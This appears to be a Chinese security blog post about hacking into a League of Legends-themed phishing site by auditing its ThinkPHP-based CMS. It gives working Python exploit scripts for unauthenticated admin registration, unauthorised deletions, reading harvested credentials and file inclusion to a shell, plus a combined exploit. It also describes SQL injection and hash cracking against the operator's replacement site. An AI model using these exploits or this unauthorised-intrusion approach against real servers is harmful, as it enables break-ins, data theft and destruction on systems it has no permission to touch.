本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。
资料查询来源- 安全社区与AI模型结合探索【文末申请免费试用资格】
前言
不知道大家玩不玩游戏,我经常玩英雄联盟,但在游戏中久久没有当过幸运召唤师,最夸张的一次跟室友出去上网,唯独我没有成为幸运召唤师。但有意思的是我却在邮箱里发现了召唤师的邮件,这一下子乐子就来了,域名一眼就觉得是钓鱼网站有问题的,那就开始简单的测试一下吧~
0x01网站踩点
首先我们对目标进行目录扫描, 发现 admin.php
进入发现是后台界面, 右击查看网页源码
我们复制 title 到百度搜索一下
第一个是官网
我把源码下载, 看了一遍, 发现是一个叫 默笙密码管理系统 V2.0 这套源码和钓鱼网站一致
0x02开始审计
这套 cms 是基于 thinkphp 的, 所以我们直接跳到控制器开始审计
我们看到代码都是以 Model 对象的方式调用数据库查询, 所以基本不存在注入, 所以我们看下有没有逻辑绕过漏洞, 或者是隐藏的接口
0x03思路梳理
首先审计 Admin 的控制器
打开看了一下除了 Login 其它的控制器均有登录认证, 所以我们先审计 Login
我们看到有 5 个方法
我们先打开前 2 个方法
方法 login 是判断数据库中是否存在管理员, 如果不存在则去 reg 注册管理员
方法 reg 是判断数据库中是否存在管理员, 如果不存在则进行注册, 所以 login 和 reg 方法是没有洞了
方法 loging 是登陆的, 我们上文说了是代码都是以 Model 对象的方式调用数据库查询, 所以基本不存在注入, 所以 loging 也没洞
方法 regist 他首先判断了提交方式是不是 AJAX 我们只要在协议头添加 X-Requested-With:XMLHttpRequest 就好了
然后我们看到两个参数 $data['username']=I('post.p','','md5');$data['password']=I('post.c','','md5');
然后它竟然直接进行进行添加管理员了, 不过这个管理员不是超级管理员, 但是可以登录后台就已经足够了, 下面有个漏洞是提权
漏洞一 任意管理员添加
exp
def RegAdmin(): domain="127.0.0.1" username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("\\u8d26\\u53f7\\u5bc6\\u7801\\u521b\\u5efa\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability \nUserName:"+hashlib.md5(username.encode("utf-8")).hexdigest()+"PassWord:"+password else: return "Failure To Exploit A Vulnerability"
漏洞二 将普通管理员提权到超级管理员
我们看到验证管理员的逻辑是这样的, 它先从 session 取出管理员的 id 然后进行查询 判断字段 is_all 是否等于 1, 如果是 1 则不是管理员, 反之
我们只需要社工管理员让他删掉我们的账户, 我们就可以跳过这个认证, 成为超级管理员
漏洞三 越权删除分类
直接将 post 过来的 id 进行删除
exp
def classdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"
漏洞四 越权删除超级管理员
直接将 post 过来的 id 进行删除, 只能删除超级管理员
exp
def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"
漏洞五 越权删除钓鱼密码
直接将 post 过来的 id 进行删除, 不能删除含有普通管理员 id 的
exp
def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"
漏洞六 越权查看钓鱼密码
直接将 get 过来的 id 进行查询
exp
def GetPass(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"\s+\S+\s+value="(\S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"\s+\S+\s+value="(\S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return result
漏洞七 GetShell 文件包含
前提是能在目标服务器上传. html 后缀的文件
exp
def uptemple(filename): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("\\u4e3b\\u9898\\u5207\\u6362\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" return result
0x04 进入服务器
利用以上漏洞我们已经控制了目标服务器
我们看到这个钓鱼网站有很多的模板, 还注明了钓鱼网站的作者, 我们把它钓到的密码进行删除
完整 exp
import hashlibimport randomimport requestsimport redomain="127.0.0.1"cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1"def GetPass(id): global cookie global domain headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"\s+\S+\s+value="(\S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"\s+\S+\s+value="(\S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return resultdef DelPass(id): global cookie global domain headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded', 'Cookie': cookie } flag= requests.post("http://"+domain+"/admin.php/Pass/passdel",data="id="+str(id),headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability" else: return "Failure To Exploit A Vulnerability"def RegAdmin(): global domain username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("\\u8d26\\u53f7\\u5bc6\\u7801\\u521b\\u5efa\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability \nUserName:"+hashlib.md5(username.encode("utf-8")).hexdigest()+"PassWord:"+password else: return "Failure To Exploit A Vulnerability"def classdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"def userdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"def uptemple(filename): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("\\u4e3b\\u9898\\u5207\\u6362\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"if __name__=="__main__": print(RegAdmin()) 添加管理员 print(GetPass(1)) 获取密码 print(DelPass(1)) 删除密码 print(classdel(1)) 删除分类 print(userdel(1)) 删除管理员 print(uptemple("../test")) 文件包含
0x05 再次出击
多天后管理员发觉了它的鱼站被搞了, 换了一套 cms
扫描目录, 发现 history 目录, 打开发现后台
0x06 思路转换
单引号输入报错, 是注入
不过 sqlmap 识别出来的是时间注入, 我们利用它这个报错将时间注入升级到布尔注入
0x07 密码破解
解出 md5, 登陆后台
事情到这也就接受了,最后网站站主也跑路了。总的来说这次的渗透很有意思。欢迎大家来交流